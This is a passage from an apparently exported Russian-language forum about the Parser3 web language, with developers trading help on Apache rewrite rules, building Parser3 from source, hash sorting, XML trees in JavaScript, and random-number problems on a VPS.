Правило комментируется и везде нормал видно, что 404 это 404. C правилом буковка R даёт поганый редирект.\
\
Но без правила нет слеша... Если кто знает ещё способ, как ставить слеш в конец, если его нет, поделитесь. Статьи есть в инете, но бестолковыми буржуинами писаные."
"61880","Конечно это для crona готовилось, а проверял я через браузер(( Спасибо) сегодня с утра вроде голова свежая, надеюсь таких ошибок не допущу))"
"61882","C правилом и без слеша — 404. Либо, если страница есть — 302!!!\
\
На всех страницах, кроме главной, где апач сам добавляет слеш — 302. О ад! =)"
"61883","[code]<variable name=\"JoinedNodeList\">\
<copy-of select=\"$Nodelist1/*\"/>\
<copy-of select=\"$Nodelist2/*\"/>\
</variable>[/code]"
"61885","воспользуйтесь этим - http://www.rohitab.com/cgiscripts/cgitelnet.html\
\
Это эмулятор ssh/telnet для использования через браузер."
"61886","Ситуация следующая:\
Есть сайт на UTF8. Есть файлики на диске с кирилическими названиями. При попытке загрузить файлик Парсер говорит что такого файла нет. Причем только с кирилическим названием - если называть файлы латиницей - все нормально.\
\
Я так понимаю, что из-за того, что название загружаемого файла в коде Парсера написано на UTF - Парсер ищет файл с названием файла в кодировке UTF. На Вин32 системе такого быть не может - и Парсер ровненько говорит \"нету\".\
\
Как лечить?"
"61887","Здравствуйте.\
Помогите с проблемой, пожалуйста.\
\
На сервере, где установлен CentOS 4.5 на сайте установлен парсер - и работает нормально, без ошибок.\
Теперь на другом сайте, на том же сервере пытаюсь поставить парсер и вылазит 500 ошибка и premature end ....\
Качал с сервера бинарники под рэдхат - не работают.\
Скачал бинарники, что работают на рабочем сайте - на новом тоже не работают.\
Копирую рабочий сайт полностью в корень нерабочего и он не работает.\
При чем CGI работает нормально на обоих сайтах.\
\
Пробовал собрать parser из исходников - столкнулся со следующей проблемойпри запуске ./configure - получаю:\
configure: error: please specify path to libgc: --with-shared-gc OR --with-static-gc\
\
а при запуске buildall-with-xml, такое:\
\
configure: WARNING: enabling charset windows-1251\
configure: error: please specify path to libgc: --with-shared-gc OR --with-static-gc\
Building parser3...\
make: *** No rule to make target `install'.  Stop.\
DONE\
\
\
********************************************************************************************************\
Now you can copy /root/parser3install with subdirectories\
  -Parser3 with XML support-\
to your cgi-bin directory\
Read more about installing Parser here:\
  http://www.parser.ru/en/docs/lang/install4apachecgi.htm in English\
  http://www.parser.ru/docs/lang/install4apachecgi.htm in Russian\
********************************************************************************************************"
"61888","Первая представлена по ссылке, второй вам бесплатно никто не даст."
"61889","сообщение при запуске buildall-with-xml странное, imho, т.к. в скрипте я вижу:\
[quot]\
project_directory=`pwd`\
\
...\
\
  echo \"Configuring parser3...\"\
  ./configure --prefix=$install_directory \\\
     \"--with-sendmail=$sendmail_command\" \\\
     --with-static-gc=$project_directory/gc/lib \\\
     --with-static-xml=$project_directory/gnome \\\
     --silent\
[/quot]\
\
т.е. '--with-static-gc=путь' явно подставляется в ./configure\
\
попробуйте с нуля: достаньте исходники из cvs head и ./buildall-with-xml\
\
\
[quot]\
Качал с сервера бинарники под рэдхат - не работают.\
Скачал бинарники, что работают на рабочем сайте - на новом тоже не работают.\
[/quot]\
есть ещё это: http://www.parser.ru/download/contrib/\
некоторым помогает."
"61890","Из Contrib ничего не заработало.\
\
А припопытке получить cvs, вылезло следующее:\
\
root># cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project login\
Logging in to :pserver:anonymous@cvs.parser.ru:2401/parser3project\
CVS password:\
\
\
\
cvs [login aborted]: connect to cvs.parser.ru(213.152.135.3):2401 failed: Connection timed out"
"61892","к тому-же вижу, что http://cvsview.parser.ru (хостится не у нас) успешно забирает данные\
\
похоже проблема у вас, с вашего сервера нет дырки наружу. попробуете забрать на свою локальную машину? не получится -- пишите письмо (misha _at_ и т.д.)."
"61893","Многих в парсере напрягает произвольный порядок элементов хеша. У Миши в классе Lib.p даже есть метод, сортирующий хеш по ключу. Однако часто необходима сортировка по произвольному выражению. Для решения этой задачи и был написан оператор foreachSort.\
\
[code]###########################################################################\
# operator look over all hash elements with specified order\
@foreachSort[hHash;sKeyName;sValueName;jCode;sSeparator;jOrder;sDirection][tKey]\
^if($hHash is \"hash\"){\
	$tKey[^table::create{key	order^hHash.foreach[$sKeyName;$sValueName]{^#0A$$sKeyName	$jOrder}}]\
	^if(!def $sDirection){$sDirection[asc]}\
	^try{\
		^tKey.sort($tKey.order)[$sDirection]\
	}{\
		$exception.handled(1)\
		^tKey.sort{$tKey.order}[$sDirection]\
	}\
	$result[^tKey.menu{^if(def $sKeyName){$caller.[$sKeyName][$tKey.key]}^if(def $sValueName){$caller.[$sValueName][$hHash.[$tKey.key]]}$jCode}[$sSeparator]]\
}{\
	^throw[Lib;foreachSort;Variable must be hash]\
}\
#end @foreachSort[][/code]\
\
Пример использования:\
\
[code]$h[\
	$.1[\
		$.name[foo]\
		$.sort_order(2)\
	]\
	$.2[\
		$.name[bar]\
		$.sort_order(1)\
	]\
]\
\
# сортировка по ключу (аналог ^Lib:foreach)\
^foreachSort[$h;k;v]{$k = $v.name}[|]{$k}\
\
# сортировка по выражению\
^foreachSort[$h;k;v]{$k = $v.name}[|]{$v.sort_order}[/code]\
\
Замечу, что данный способ не является полноценной заменной массивов, т. к. порядок сортировки не хранится в хеше, а задаётся при выводе. Реализовать вывод в порядке добавления таким образом не получится."
"61894","как задать цвет фона для шрифта средствами парсера?\
fill не обрабатывает букв 0,А,Р и т.п. или для каждого цвета нужно делать свой gif"
"61896","http://www.artlebedev.ru/tools/ — 200\
http://www.artlebedev.ru/tools — 302\
http://www.artlebedev.ru/tools/123/ — 404\
http://www.artlebedev.ru/tools/123 — 302!\
\
Собсно, пока что я хочу, чтобы закрывался слеш и выдавалось-таки 404."
"61897","редиректаа со статусом 404 быть не может.\
редирект - статус 3xx (смотрим rfc2616):\
\
[quot]\
- 1xx: Informational - Request received, continuing process\
- 2xx: Success - The action was successfully received, understood, and accepted\
- 3xx: Redirection - Further action must be taken in order to complete the request\
- 4xx: Client Error - The request contains bad syntax or cannot be fulfilled\
- 5xx: Server Error - The server failed to fulfill an apparently valid request\
[/quot]\
\
и, кстати, нормальные поисковики подобные страницы не индексируют (яндекс и гугл в этом плане ведут себя адекватно)."
"61898","1. Попробуйте [url=http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html#RewriteCond]-U[/url] (не проверял):\
\
[quot]'-U' (is existing URL via subrequest)\
Checks if TestString is a valid URL and accessible via all the server's currently-configured access controls for that path. This uses an internal subrequest to determine the check, so use it with care because it decreases your server's performance![/quot]\
\
2. Отдавайте движку оба варианта (со слешом и без), и пусть он сам его фиксит или выдаёт 404, если страницы нет.\
\
3. Забейте на это (самый предпочтительный способ)."
"61899","Но, как тогда сделать так. Вызвать шаблон 404-й страницы, то есть структурно её нет на сайте, а клиенту передать 404 в заголовке. И при этом переписать урл, добавив в конце \"/\"? Собственно, саккумулировать всё сказанное."
"61900","только предлагаю начать с конца. забить. оно вам надо? это нормальная ситуация, и поисковики её корректно обрабатывают (если всё действительно так, а движком не выдается 200 статус с отображением \"страница не найдена\"). мы используем именно этот вариант в imp1.\
\
если хотите чтобы всё стало совсем красиво с точки зрения запросов к странице -- то вариант 2 (всегда 1 запрос, нет повторов в случае 3xx статусов). тут правда надо не забыть, что все пути в странице к inline элементам должны выдаваться от корня, иначе быть беде.\
\
ну а предлагаемый вариант 1 я бы предпочёл не использовать никогда. это +2 http запроса к серверу (вместо +1 при обычном редиректе) в случае существования страницы и +1 в случае если её нет."
"61901","Ну я заметил, что у товарищей тут есть склонность забивать =) Это не мне.\
\
Оставлю пока как есть.\
\
Плохо..."
"61902","Хеш на то и хеш, чтобы быть не сортированным.\
\
А вообще если надо сортировать, то должны быть методы keys и valus. И больше ничего :-)\
\
sort keys %hash;"
"61903","допустим, в хеше лежит куча объектов, как вы собираетесь сортировать по values?"
"61904","Вы так и не объяснили, в каком месте подобное поведение вам мешает. Иначе получается как в анекдоте:\
\
[quot]— Доктор, у меня левое яйцо больше правого.\
— И что?\
— Неаккуратно как-то...[/quot]"
"61905","[code]\
@foreachSort[hHash;sKeyName...]\
...^hHash.foreach[$sKeyName;$sValueName]{^#0A$$sKeyName	...}...\
...\
$result[^tKey.menu{^if(def $sKeyName){...}]\
...\
[/code]\
\
есть ощущение, что при формировании таблицы сортировки происходит перезапись $sKeyName + как-то очень странно key добавляется в таблицу."
"61906","[code]^hHash.foreach[$sKeyName;$sValueName]{^#0A$$sKeyName	$jOrder}[/code]\
\
Обрати внимание, хешу передаётся не sKeyName, а $sKeyName."
"61907","тем не менее я не понимаю, почему это работает, т.к. в момент выполнения jOrder в caller $v не должна быть определена %-)\
\
кстати работать перестаёт, если в примере в caller объявить h,k,v локальными. понятно почему -- сортировка работала челез глобальные переменные, поэтому и обходилось без caller-а.\
\
и до кучи: можно следующим образом изменить сортировку (что быстрее/жрёт меньше памяти я не смотрел):\
[code]\
$tKey[^hHash._keys[]]\
	$j{$caller.[$sKeyName][$tKey.key]$caller.[$sValueName][$hHash.[$tKey.key]]$jOrder}\
^try{\
	^tKey.sort($j)[$sDirection]\
}{\
	$exception.handled(1)\
	^tKey.sort{$j}[$sDirection]\
}\
[/code]"
"61908","[code]@CLASS\
Hash\
\
###########################################################################\
# operator look over all hash elements with specified order\
@foreach[hHash;sKeyName;sValueName;jCode;sSeparator;jOrder;sDirection][tKey;jEach;jExpression]\
^if($hHash is \"hash\"){\
	^if(!def $sDirection){$sDirection[asc]}\
	$tKey[^hHash._keys[]]\
	$jEach{^if(def $sKeyName){$caller.[$sKeyName][$tKey.key]}^if(def $sValueName){$caller.[$sValueName][$hHash.[$tKey.key]]}}\
	^try{\
		$jExpression{${jEach}$jOrder}\
		^tKey.sort($jExpression)[$sDirection]\
	}{\
		$exception.handled(1)\
		^tKey.sort{${jEach}$jOrder}[$sDirection]\
	}\
	$result[^tKey.menu{${jEach}$jCode}[$sSeparator]]\
}{\
	^throw[Hash;foreach;Variable must be hash]\
}\
#end @foreach[][/code]"
"61909","это не есть хорошо  - так как схема может меняться довольно часто. но все равно спасибо."
"61911","Учим перл :-)\
\
[code]sort {$hash{$b} <=> $hash{$a}} keys %hash;[/code]\
\
Это конечно частности, но классический общий подход к таким задачам — передавать методам сортировки функцию compare(x, y), которая умеет сравнивать два аргумента.\
\
А не тьму параметров [code]hHash;sKeyName;sValueName;jCode;sSeparator;jOrder;sDirection[/code]"
"61912","мне самому иногда не хватает возможности передать функцию сравнения двух элементов.\
\
хотя пока всегда удавалось обойти это. а не хватает наверное из-за того, что некоторые алгоритмы из-за этого не переносятся \"as-is\"."
"61913","А добавление узлов в уже существующую переменную, видимо, невозможно. Я уже [url=\"http://xpoint.ru/forums/thread/40977.xhtml\"]поднимал этот вопрос[/url] на xPoint-е, там мне сказали:\
\
[quote]Переменную менять нельзя. По крайней мере стандартными средствами.[/quote]"
"61914","1. Вы, видимо, не заметили, что хеш не сортируется, а выводится в указанном порядке. Просто три строчки заменяются одной, отсюда и \"тьма параметров\".\
\
2. Не знаю перл, но догадываюсь, что приведённый код возвращает список ключей. Такую сортировку я и в парсере могу организовать, хоть по ключам, хоть по значениям."
"61917","При использовании счётчика [url=\"http://softtime.ru/info/powercounter30.php\"]PowerCounter[/url] через метод \
[url=\"http://www.parser.ru/forum/?id=33412\"]использования Parser и PHP на одной странице[/url] возникает небольшая проблема.\
\
Счетчик по иструкции устонавливается следующим образом[code]<?php\
   include \"/count/count.php\";\
?>[/code]\
соответственно, в парсер его загрузил таким способом:[code]^usePHP[/count/count.php][/code]Сам метод сидит и вызываться из коренного auto.p\
\
Проблема в том, что счётчик все подсчитуемые страницы к которым обращались, определяет в своей статистике под один адрес: http://parser///count/count.php\
\
Может как-то можно это дело исправить?"
"61918","А то не прикольно в форуме искать обновления..."
"61919","Я имею ввиду движок, а не GUI.\
\
К примеру:\
1. [b]Mouse[/b] - http://klen.zoxt.net/ [i]здесь, кстати, даже интерфейс имеется[/i]\
2. [b]antistatic[/b] - http://www.parser.ru/forum/?id=37274\
3. [b]xEngine[/b] - http://labour.googlecode.com/svn/classes/engine/trunk/"
"61920","Имеется XML:\
[code]\
<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
<Objects>\
	<object id=\"1\">\
		<parent_id>0</parent_id>\
		...\
	</object>\
	<object id=\"2\">\
		<parent_id>1</parent_id>\
		...\
	</object>\
	<object id=\"3\">\
		<parent_id>0</parent_id>\
		...\
	</object>\
	...\
</Objects>\
[/code]\
\
С помощью JavaScript нужно вывести li-дерево, учитывая \"parent_id\".\
В Парсере есть замечательный метод [url=\"http://www.parser.ru/docs/lang/?xnodeselect.htm\"]select[/url] у класса XNode.\
\
В JavaScript DOM такого метода не видно, зате есть объект TreeWalker и к нему функции. Но при его использовании получается немного громоздким код.\
\
Поэтому вопрос, есть ли более легкий способ построить дерево?"
"61921","Зато я заметил ошибку в комментарии на английском :-)"
"61922","http://www.peachpit.com/articles/article.aspx?p=29307&seqNum=4&rl=1\
\
\
Если желаете приключений, то разберитесь в исходниках библиотеки http://goog-ajaxslt.sourceforge.net/ :-) \
\
Если нет — пишите XSLT."
"61924","я думаю дело в способе вызова скрипта.\
\
В PHP метод include вставляет код в тело текущей страницы, и имя текущей страницы фигурирует как текущее(!).\
\
В Парсере вы вызываете не страницу_с_вложенным_count.php, а саму count.php - поэтому скриптик все правильно и считает.\
\
Вам нужно сказать скриптику, что он вызывается из вашей страницы. Как это сделать сейчас пока не могу сообразить - подумайте.\
\
И вообще - перепишите код подсчета на Парсер - там все просто. Админку можете оставить как есть."
"61925","Мне кажется, что проблема не в движке, а в админке, потому что тот же движок антистатик, как прототип, чудесно подходит для реализации очень многих сайтов, единственно что, записи в базы вместе со связями нужно добавлять руками :-). Что же касается админки, то это и правда проблема, потому как нужно писать самому. Я как-то пытался  использовать имеющиеся варианты, думал и о коммерческих CMS, и пользовал бы, если бы нашлась [b]хотя бы одна[/b], в которой я бы понял, как создать новую страницу с нужным дизайном :-) Потому админку пришлось самому делать.\
\
Вот кстати, читал когда-то шутку:\
\
[quot]\
Что было бы, если бы производители CMS выпускали телевизоры?\
\
Менеджер Михаил, так и не справившись с добавлением новостей, решил порадовать себя новым телевизором.\
На сайте производителя телевизор рекомендовали как самый лучший и удобный.\
Дома Михаил обнаружил, что пульт соединяется с телевизором посредством длинного кабеля, для подзарядки аккумуляторов. Кроме того, для переключения каналов требовалось ввести ID каждого канала в память пульта.\
\
Михаил обратился за помощью к руководству.\
Первые две главы были посвящены устройству телевизора и принципам формирования изображения в электронно-лучевой трубке.\
Третья глава подробно описывала назначение каждой клавиши пульта и способы укладки соединительного шнура.\
\
К руководству прилагалась брошюра «Переключение каналов», из которой стало ясно, что лучше послушать радио.[/quot]"
"61926","если честро, то не понимаю в чём проблема. \
\
в JS есть dom методы (firstChild, nextSibling и т.д.), при работать с элементами с их использованием мне нравится существенно больше, чем с помощью xpath (node.select). в imp1 уже N лет используются именно они для подгрузки xml и построения дерева.\
\
более того, начав работать с namespace я вообще стал отказываться от xpath. с dom методами проблем нет."
"61927","Указанные методы вижу только в объекте TreeWalker, зато есть еще свойство у объекта Nod ([i]я думаю их ты имел ввиду[/i]).\
\
По мне картина представляется следующей:\
1) AJAX запрос на получение корневых объектов.\
2) Построение списка li-элементов, к каждому из которых определяется свойство, к примеру, onclick.\
3) При нажатии на любой li-элемент, снова делается AJAX запррос, но уже на получение списка потомков данного объекта и строится список потомкой, внутри корневого li-элементта.\
\
P.S. И получается свойство nodeSibling используется в момент обхода полученных объектов в связке с методом for.\
\
Картина совпадает с твоей?"
"61928","похоже, что всё таки об одном (я не спец в JS, возможно поэтому о TreeWalker и Nod слышу впервые). вот кусок кода (старый, ещё not async), загружающего xml:\
[code]\
	var oXML;\
	try {\
		// if MSIE\
		oXML = new ActiveXObject('Microsoft.XMLDOM')\
		oXML.async = false\
		oXML.load(url)\
		return oXML\
	}\
	catch ( error ) {\
		try {\
			// if Mozzila\
			oXML = new XMLHttpRequest()\
			oXML.open(\"GET\", url, false)\
			oXML.setRequestHeader('If-Modified-Since', 'Thu, 22 Nov 2001 00:00:01 GMT')\
			oXML.send(null)\
			return oXML.responseXML\
		}\
...\
[/code]\
\
картина аналогичная, только мы загружаем уже дерево, без дополнительных связей через <parent_id/>, соотв. полученное дерево обходится с помощью firstChild/nextSibling, строится подветка, а потом она appendChild к li-шке. а вам, с <parent_id/> можно вообще достать все полученные элементы через getElementsByTagName.\
\
P.S. у меня \"в железе\" пункт 1 немного отличается. при первом запросе получаются не только корневые элементы, но и все маленькие ветки (если в какой-то ветке есть до 10 хточную цифру не помнюъ элементов, то она сразу подкрузится вся). или вообще первый ajax запрос можно не делать, а сразу выдать нужное в html."
"61929","в документации пусто, в коде Миши встречается, на форуме есть упоминания..."
"61932","там где в других языках[code]try { ...код... } catch { ...обработчик... }[/code] у нас [code]^try{ ...код... }{ ...обработчик... }[/code]\
атавизм вобщем, благо синтаксис позволяет.\
Ну и вот этот второй блок в фигурных скобках иногда по привычке называют catch-блок или catch-секция. C if/else кстати то-же самое."
"61934","Делаю это преобразование, на экран выводится тот же 16-ричный код, который и был. Подскажите как получить не код, а буквы."
"61935","в классе наследнике нужно сделать:\
[code]@GET_name[]\
$result[$BASE:name]\
\
@GET_text[]\
$result[$BASE:text][/code]\
*THUMBS UP*"
"61936","... и предназначен он совсем для другого - http://www.parser.ru/examples/tainting/\
\
Вы случайно не пытаетесь $request:query таким образом разобрать? Так для этого класс form есть - он умеет разбирать такие вещи."
"61937","Нашёл тут свой старый код, и стало интересно. А что он считает? \
\
[code]@counter[][c]\
^if(!def $cookie:visit){\
	^if(!-f '/.counter'){\
		$c[0]\
		^c.save[/.counter]\
	}\
	$c[^file::load[text;/.counter]]\
	$c[$c.text]\
	$cookie:visit[\
		$.expires(1)\
		$.value[yes]\
	]\
	$c[^eval($c+1)]\
	^c.save[/.counter]\
}[/code]\
\
Если я прально вижу, то суммарно считается один заход в день с одного браузера. Нет?"
"61939","Тока я вот думаю щас нормальный класс статистики написать, но чувствую гемора будет... Да и надо ли."
"61940","не очень понимаю, почему если !-f, нельзя сделать $c[1] вместо $c[0], и не заниматься последующими \"считал, добавил, записал\".\
\
да, понимаю что в общем мелочь которая будет отрабатывать раз в пятилетку, тем не менее..."
"61941","Всё отлично работает, но вот есть одна проблема: как вставлять в cfg-файл фиксированные диакритические символы, чтобы они корректно отображались в браузере. Пишу как в HTML - &eacute;, например, а он так и отображает. Ну и вообще как можно туда вставлять и другие спецсимволы, греческие буквы, например. \
\
Заранее благодарю."
"61942","Это не есть хорошо.\
Получается логика oracle будет в месте, где ей не положено быть.\
есть ли в планах добавить курсор(в виде таблицы или хеша) в возвращаемые значения?"
"61943","т.к. форум по парсеру, я подразумевал, что это встречалось у меня в парсерном коде, чему был очень удивлён.\
\
насколько я понимаю, ситуация с catch прояснилась.\
catch секцией называется фрагмент кода, куда передается управление при возникновении ошибки в случае использования try. именно в catch секции мы можем обработать ошибку (а можем и не обрабатывать)."
"61945","Это как? Куда вставлять? Непременно в HTML-код страницы, где стоит ^alb[] или в cfg-файл?\
Можно как-то по-человечески объяснить?"
"61947","Вот такой код:\
[code]@main[]\
$original[Тест] \
$encoded[^original.base64[]]\
^string:base64[$encoded][/code]\
\
В результате 500 ошибка и в логе\
CORD_pos_fetch: bad leaf\
[Tue Aug 14 09:11:15 2007] [error] Premature end of script headers: /usr/local/parser/parser3.cgi\
\
Баг?\
\
P.S. 3.2.1 (compiled on i386-unknown-freebsd5.4)"
"61951","Советую прочесть ФАК по пользованию форумом. Это раз.\
\
По делу - в файлике таблицы храните данные в представлениях, т.е. как вам угодно - &nsbp;&euro;&copy;&fuck;. И при выводе данных из таблицы на страницу, пропускаете через untaint\
[code]^tData.menu{\
	^untaint[as-is]{$tData.sFieldName}\
}[/code]\
\
А вообще такие вопросы отпадают при внимательном прочтении документации. Это два."
"61953","Требуется программист на [b]фултайм[/b] в офис в Москве.\
\
Parser, MySQL,  XML/XSL, JavaScript, HTML - надо знать и уметь.\
Мы работаем на *nix.\
\
Зарплата (обсуждается) белая, испытательный (2 месяца) срок.\
Чай, кофе, какао, печеньки и пр. предоставляются.\
\
писать на tmm =^,^= madgroup.ru\
или в icq:776166"
"61955","Дело конечно не в самом числе 17000000000, а видимо в его \"длине\"?"
"61957","Здравствуйте, господа.\
\
Писал так:\
\
^listfiles[/]\
\
@listfiles[dir]\
Осмотр директории \"$dir\"<br />\
$list[^file:list[$dir]]\
^list.menu{\
   ^if($dir eq \"/\"){\
      $cfile[${dir}$list.name]\
   }{\
     $cfile[${dir}/$list.name] \
   }\
^if(!^cfile.match[cgi-bin|/admin]){   \
   $cfile<br>\
   ^if(-d $cfile){^self.listfiles[$cfile]}\
 }\
}\
\
В результате, для струкутуры ФС\
/a.html\
/i\
/i/1.jpg\
/i/2.jpg\
/i/3.jpg\
/k.html\
/f\
/f/index.html\
\
скрипт выдает:\
/a.html\
/i\
/i/1.jpg\
/i/2.jpg\
/i/3.jpg\
/3.jpg\
/3.jpg\
/3.jpg\
...\
\
Где я недочитал мануал?"
"61959","такая ошибка появляется при вызове ^break[] из 110-й строки файла FeedChannel.p.\
как я понял, если этот вызов просто убрать, то все будет работать.\
это правильное решение?\
\
3.2.1sp2 (compiled on i686-pc-linux-gnu)"
"61960","нет, решение не правильное, т.к. в этом случае будут выводиться все элементы, а не заданное их количество.\
\
надо последнюю строку заменить на такое:\
[code]\
^if(def $hParam.iItemLimit){\
	$tIndex[^tIndex.select(^tIndex.line[] <= $hParam.iItemLimit)]\
# или так\
#	$tIndex[^table::create[$tIndex][$.limit($hParam.iItemLimit)]]\
}\
$result[^tIndex.menu{^hItem.[$tIndex.iValue].print[$hParam]}[^#0A]]\
[/code]\
\
или так:\
[code]\
$result[^tIndex.menu{^if(!def $hParam.iItemLimit || $iCount < $hParam.iItemLimit){^hItem.[$tIndex.iValue].print[$hParam]}^iCount.inc[]}[^#0A]]\
[/code]\
\
P.S. classes обновлены"
"61961","в таблице имеются поля с именами ру_имя, ен_имя\
\"ру\" и \"ен\" заложены в переменную $язык\
из мускула данные забираются, не проблем т.е. переменная\
${язык}_имя прекрасно работае, но при выводе значений поля\
$таблица.${язык}_имя выдаёт ошибку\
syntax error, unexpected '{', expecting STRING\
\
решается-ли данная проблема без ввода дополнительных переменных"
"61964","Может у кого уже есть всё это скомпиленное под FreeBSD 6.2. Было бы не плохо выложить, а то приходится перерывать кучу инфы прежде чем что либо получатся начинает. Жаль что порта нет :("
"61966","проходит регистрация\
но кроме корневого каталога parser3 ничего не закачивается :(\
еще недавно можно было скачать все без проблем"
"61967","Доброго времени суток.\
\
Взял ВПС на CentOS, перенес сайт и заметил... что \"защитная картинка\" на доске объявлений стала показывать одно и тоже число.\
Причиной, как обнаружилось, стала генерация случайного числа:\
\
[code]^math:random(1000000000): [b]509005708[/b] [/code]\
\
Как мне исправить положение? \
Спасибо."
"61970","[url=\"http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/classes/math.C?rev=HEAD&content-type=text/vnd.viewcvs-markup\"]парсер пользуется генератором случайных числе /dev/random[/url]. Зайдите по SSH на машинку провайдера и посмотрите, что из /dev/random сыпется. Если работает неправильно - дайте по башке хостеру.\
\
В качестве временного решения - воспользуйтесь внешним генератором случайных чисел (типа этого - http://cooler-online.com/sc.php?cl010807.html&2 ) или сгенерите на своём компьютере случайную строку чисел килобайт на сто и выдёргивайте из неё кусок, как offset используя текущее время и ip пользователя."
"61973","Сервер не администрируемый, кроме как меня, бить некого :)\
Я в плане админа CentOS, не сильно силен :(\
\
find / -name random\
\
Нашел:\
/proc/sys/kernel/random\
\
Может мне что-то нужно доустановить?\
\
На крайний случай, воспользуюсь вашими советами, спасибо за наводку."
"61975","ни /dev/random, ни /dev/urandom нету?\
\
Тогда воспользуйтесь http://linux.die.net/man/4/random"
"61978","В таблице [b]domain[/b] есть ссылка на на сайт (site_id). Как я понимаю, это нужно для того, чтобы несколько доменов могли быть привязаны к одному сайту. Но в тоже время, в таблице [b]site[/b] есть обратная ссылка на домен (domain_id). Зачем она? Ведь все равно изначальная выборка текущего сайта происходит по доменному имени, значит не нужен «домен по умолчанию», как в случае с языками.\
\
P.S. В описании таблицы [b]site[/b] все еще указано поле «domain», хотя его там уже нет."
"61979","domain.site_id - к какому сайту относится домен (чтобы разбирая обращение от посетителя понять, в рамках какого сайта искать запрощенный uri)\
\
site.domain_id - default domain этого сайта. чтобы показывая в административном интерфейсе страницу объекта выдать ссылку с \"правильным\" domain (ведь он может не совпадать с текущим domain)"
"61981","Я не стал подключать /dev/random \
Проще использовать код на php, к примеру такой:\
\
[code]<?php\
$d=range(0,10);\
\
$str=\"\";\
for ($i=0;$i<rand(3,4);$i++) $str.=$d[rand(0,count($d))];\
print $str;\
?> [/code] \
\
Спасибо всем за ответы"
"61982","т.к. при запросе к документу будет запускаться не только парсер но и php. плюс возможно другие парсерные методы используют системный random (uuid, crypt) и они тоже скорее всего не работают должным образом.\
\
насколько я вижу в коде, парсер в первую очередь пытается считать из /dev/urandom, и лишь при невозможности сделать это -- из /dev/random. если вы утверждаете, что /dev/urandom у вас есть, то я ничего не понимаю.\
\
может какие-то несовместимости версии, собранной для redhat на вашей системе? попробуете собрать из исходников? (возможно дело обойдётся запуском одной комманды)"
"61983","... что проблема связана с VPS (как я понял из первого сообщения сервер виртуальный). Возможно некоректно эмулируется /dev/urandom\
\
Видимо без вопросов владельцу железяки не обойтись."
"61984","[code]^if(def $tColumns.frm_name){\
	$tColumns.frm_name\
}{\
	^if(def $tColumns.lst_name){\
		$tColumns.lst_name\
	}{\
		$tColumns.name\
	}\
}\
[/code]"
"61986","/dev/urandom - есть и он работатет, насколько я понял (PHP же работает). Из 3 часового общения с гуглом, я вычитал что urandom лучше random. Парсер работает на ура, вроде как, по крайней мере кроме random, других проблем не заметил. Сам VPS собран на пакете LxAdmin, это фирма серъезная и по идее должно быть изначально все правильно настроено :)\
\
Согласен, что лишний вызов PHP это не хорошо, но Парсер отказывается сам генерировать случайные числа. :(("
"61987","[code]^default[^default[$tColumns.frm_name;$tColumns.lst_name];$tColumns.name]\
\
\
###########################################################################\
# используйте правильные скобки: ^default[$val]{$dflt}\
@default[sVar;sDefault]\
$sVar[$sVar]\
$result[^if(def $sVar){$sVar}{$sDefault}]\
# end of @default[]\
[/code]"
"61988","более того, об этом даже комментарий есть."
"61989","Надоели длинные коды методов класса!\
Хочу ввести оператор новый – [b]|[/b]:\
[code]$result[\
$tColumns.frm_name | $tColumns.lst_name | $tColumns.name\
]\
\
[/code]\
\
Какая переменная первая по порядку определена - значение той и присваивается резалту..."
"61990","...следующим скриптом на shell'е:\
[code]\
# rand - create large random number using /dev/urandom                                                                                                \
# usage: rand [maxvalue]                                                                                                                              \
                                                                                                                                                      \
RandomDevice=/dev/urandom                                                                                                                             \
MaxRand=18446744073709551616    # 2^64                                                                                                                \
                                                                                                                                                      \
[ $# -lt 1 ] && set -- $MaxRand                                                                                                                       \
                                                                                                                                                      \
# Read 8 (binary) bytes, convert them to 8 upper-case hex                                                                                             \
# numbers using \"od\", remove whitespace:                                                                                                              \
                                                                                                                                                      \
hex=`dd if=/dev/urandom bs=1 count=8 2>/dev/null |                                                                                                    \
od -tx1 | head -1 | cut -d' ' -f2- |                                                                                                                  \
tr -d ' ' | tr '[a-f]' '[A-F]'`                                                                                                                       \
                                                                                                                                                      \
# convert from hexadecimal to decimal:                                                                                                                \
dec=`echo \"ibase=16; $hex\" | bc`                                                                                                                      \
#echo >&2 \"DEBUG: hex=<$hex>; dec=<$dec>\"                                                                                                             \
                                                                                                                                                      \
echo \"$dec % $1 + 1\" | bc  \
[/code]\
\
В конце-концов можно использовать его из под Парсера."
"61991","нет, не выдавало\
все теперь работает хорошо"
"61992","собирается прекрасно\
после запуска падает с ошибкой Segmentation fault \
вот привожу лог запуска через strace  может подскажете где искать.\
\
[root@ras office.hbr.ru]# strace parser3\
execve(\"/usr/local/bin/parser3\", [\"parser3\"], [/* 26 vars */]) = 0\
brk(0)                                  = 0x936c000\
access(\"/etc/ld.so.preload\", R_OK)      = -1 ENOENT (No such file or directory)\
open(\"/etc/ld.so.cache\", O_RDONLY)      = 4\
fstat64(4, {st_mode=S_IFREG|0644, st_size=35422, ...}) = 0\
mmap2(NULL, 35422, PROT_READ, MAP_PRIVATE, 4, 0) = 0xb7f4b000\
close(4)                                = 0\
open(\"/lib/libdl.so.2\", O_RDONLY)       = 4\
read(4, \"\\177ELF\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\3\\0\\1\\0\\0\\0P\\n\\0\\0004\\0\\0\\0\"..., 512) = 512\
fstat64(4, {st_mode=S_IFREG|0755, st_size=14644, ...}) = 0\
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7f4a000\
mmap2(NULL, 12408, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0x12c000\
mmap2(0x12e000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x1) = 0x12e000\
close(4)                                = 0\
open(\"/usr/lib/libgc.so.1\", O_RDONLY)   = 4\
read(4, \"\\177ELF\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\3\\0\\1\\0\\0\\0000\\216\\0\\0004\\0\\0\\0\"..., 512) = 512\
fstat64(4, {st_mode=S_IFREG|0755, st_size=139800, ...}) = 0\
mmap2(NULL, 206652, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0x130000\
